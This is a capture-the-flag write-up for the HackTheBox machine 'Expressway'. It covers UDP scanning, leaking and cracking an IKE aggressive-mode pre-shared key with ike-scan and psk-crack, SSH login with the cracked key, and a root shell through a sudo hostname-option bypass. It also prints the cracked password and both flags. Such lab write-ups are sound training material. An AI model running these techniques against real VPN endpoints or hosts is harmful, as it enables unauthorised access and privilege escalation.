Introduction

Expressway is a HackTheBox machine focused on IPSec/IKE reconnaissance and PSK cracking, SSH pivoting, and a hostname‑based sudo bypass — ideal for learning network enumeration and privilege‑escalation techniques.

Initial reconnaissance

I began with a quick TCP service scan.

nmap -sV -sC 10.10.11.87

Output:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH showed on the TCP scan, so I widened my checks to UDP and IKE; I hunted for SSH flaws but found nothing exploitable.

nmap -sU -sV -T4 10.10.11.87

PORT      STATE         SERVICE        VERSION
68/udp    open|filtered dhcpc
69/udp    open          tftp           Netkit tftpd or atftpd
500/udp   open          isakmp?
1044/udp  open|filtered dcutility
1885/udp  open|filtered vrtstrapserver
4500/udp  open|filtered nat-t-ike
5001/udp  open|filtered commplex-link
18258/udp open|filtered unknown
18888/udp open|filtered apc-necmp

UDP highlights:

• 68/udp DHCP Client (openfiltered)
• 69/udp TFTP (openfiltered)
• 500/udp ISAKMP/IKE (open) → suggests IPSec VPN
• 4500/udp NAT-T (openfiltered)

IKE enumeration & exploitation

Seeing port 500 show up tells me the box is likely running an IPSec VPN (ISAKMP) — a common VPN service.

sudo ike-scan -M 10.10.11.87

The IKE Main Mode handshake returned:

• SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK ...) — the peer requires a pre-shared key (PSK) and uses 3DES + SHA1, which is weak by modern standards.
• Vendor IDs (XAUTH, Dead Peer Detection) were present.

Because vendor IDs and XAUTH showed up, I tried Aggressive Mode to see if the service leaked identity or PSK material:

sudo ike-scan -A -Ppsk.txt 10.10.11.87

Aggressive-mode leak & PSK capture

Aggressive-mode returned an identity and a hash:

• ID(Type=ID_USER_FQDN, [email protected]) — the IKE identity was leaked.
• A 20‑byte PSK hash was returned and saved to psk.txt.

PSK Cracking

I captured a full aggressive handshake and exported the PSK hash with:

sudo ike-scan -M --aggressive 10.10.11.87 -n [email protected] --pskcrack=hash.txt

Then I ran an offline dictionary attack against the captured hash.

psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt

the PSK was cracked — freakingrockstarontheroad

Gaining access

With the cracked PSK in hand I SSH’d in as the ike user:

ssh [email protected]
# password: freakingrockstarontheroad

Capturing the User Flag

Once on the box, I immediately grabbed the user flag:

ike@expressway:~$ cat user.txt
539a00ebc5ad69024c09ae86565a5525

Post‑exploit enumeration

I ran the usual checks to understand the system and look for escalation paths:

ike@expressway:/tmp$ uname -a
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64 GNU/Linux
ike@expressway:~$ cat /etc/passwd
...
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash
...
_laurel:x:999:994::/var/log/laurel:/bin/false

Nothing flashy jumped out at first, but a standard sudo -l check produced an odd result that caught my eye.

Finding the anomaly — a rogue sudo

sudo -l returned a custom denial message instead of the usual “not in sudoers” text:

ike@expressway:~$ sudo -l
[sudo] password for ike: <redacted>
Sorry, user ike may not run sudo on expressway.

That unusual wording made me check which sudo binary was running:

ike@expressway:~$ which sudo
/usr/local/bin/sudo

/usr/local/bin/sudo (instead of the expected /usr/bin/sudo) strongly suggested a custom SUID root binary was present — a likely vector for privilege escalation.

I confirmed the version and looked for SUIDs

sudo -V            # shows Sudo 1.9.17
find / -perm -4000 -type f 2>/dev/null

Following breadcrumbs — Squid logs reveal an internal host

Because my account had proxy-related group membership, I checked Squid logs and found an entry for an internal hostname:

ike@expressway:~$ ls -l /var/log/squid
-rw-r--r-- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
ike@expressway:~$ cat /var/log/squid/access.log.1
...
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...

That log line showed a client attempted to access offramp.expressway.htb — an internal-only hostname not visible externally. Combined with the custom sudo, this hostname looked promising.

Privilege escalation — hostname‑based sudo bypass

I put the clues together and found the escalation path:

• A custom SUID sudo binary existed at /usr/local/bin/sudo.
• The unusual denial message referenced the current host (expressway).
• Squid logs revealed an internal-only hostname: offramp.expressway.htb.

I suspected the custom sudo enforced a hostname-based policy. Because sudo supports a -h flag (which specifies a host), I tried invoking the local binary while telling it the target host was offramp.expressway.htb. In the lab I ran:

/usr/local/bin/sudo -h offramp.expressway.htb -i

That command triggered an alternate code path in the custom sudo and dropped me into a root shell — a hostname‑based edge condition enabled the escalation.

ike@expressway:/tmp$ /usr/local/bin/sudo -h offramp.expressway.htb -i
root@expressway:~#

Note: the system used Sudo 1.9.17, and this behavior matches a documented hostname‑bypass edge case for that version.

Capturing the Root Flag

After the hostname bypass I dropped to a root shell and read the final flag:

root@expressway:~# cat /root/root.txt
c59de798dcd766555da1789588ff4c3f